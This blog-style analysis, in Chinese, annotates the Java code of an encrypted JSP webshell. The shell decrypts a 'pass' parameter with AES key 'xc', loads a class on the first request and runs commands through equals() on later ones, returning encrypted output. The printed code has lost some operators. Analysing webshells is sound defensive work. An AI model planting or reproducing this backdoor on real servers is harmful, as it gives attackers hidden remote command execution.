jsp payload解析
try {byte[] data base64Decode(request.getParameter(pass)); #HTTP请求中的参数 passdata x(data, false); #AES解密if (application.getAttribute(GOx2) null) { #GOx2是Webshell 代码动态设置的用于存储特定的数据或对象application.setAttribute(GOx2, new X(this.getClass().getClassLoader()).Q(data)); #从字节数组 data 中加载一个类存储在 GOx2 的属性中。应该是对equals的重写} else {java.io.ByteArrayOutputStream arrOut new java.io.ByteArrayOutputStream(); #动态存储输出流Object f ((Class) application.getAttribute(GOx2)).newInstance(); #把第一次请求的GOx2存储的类赋值给对象ff.equals(request); #执行恶意请求f.equals(arrOut); #在equals方法中恶意代码会检查obj是否是ByteArrayOutputStream实例。如果是它可能会执行写入数据f.equals(data);response.getWriter().write(md5.substring(0, 16)); #先传入 request 可能是为了准备一些数据或环境然后传入 arrOut 进行某些输出操作最后传入 data 执行最终的恶意代码。f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); #加密回显response.getWriter().write(md5.substring(16)); #混淆与隐藏}} catch(Exception e) {}是一个后门或WebshellAES加密保护使用预定义的密钥 xc 进行解密先获取HTTP请求中的参数 pass然后AES解密第一次请求pass解密之后是对equals的重写因为GOx2为空就存储在 GOx2 的属性中方便后面调用第二次请求才是真正的命令执行因为GOx2已经有值所以执行else先调用GOx2中重写的equals给f进行命令执行为什么是三次f.equals(request);requst可能有除了pass其他恶意命令准备一些数据或环境或者可能和pass传入data的内容进行拼接使用f.equals(request);、f.equals(data);可以是联合共同执行命令f.equals(arrOut);传出恶意代码会检查obj是否是ByteArrayOutputStream实例。如果是它可能会执行写入数据最后response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); 加密回显
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2430528.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!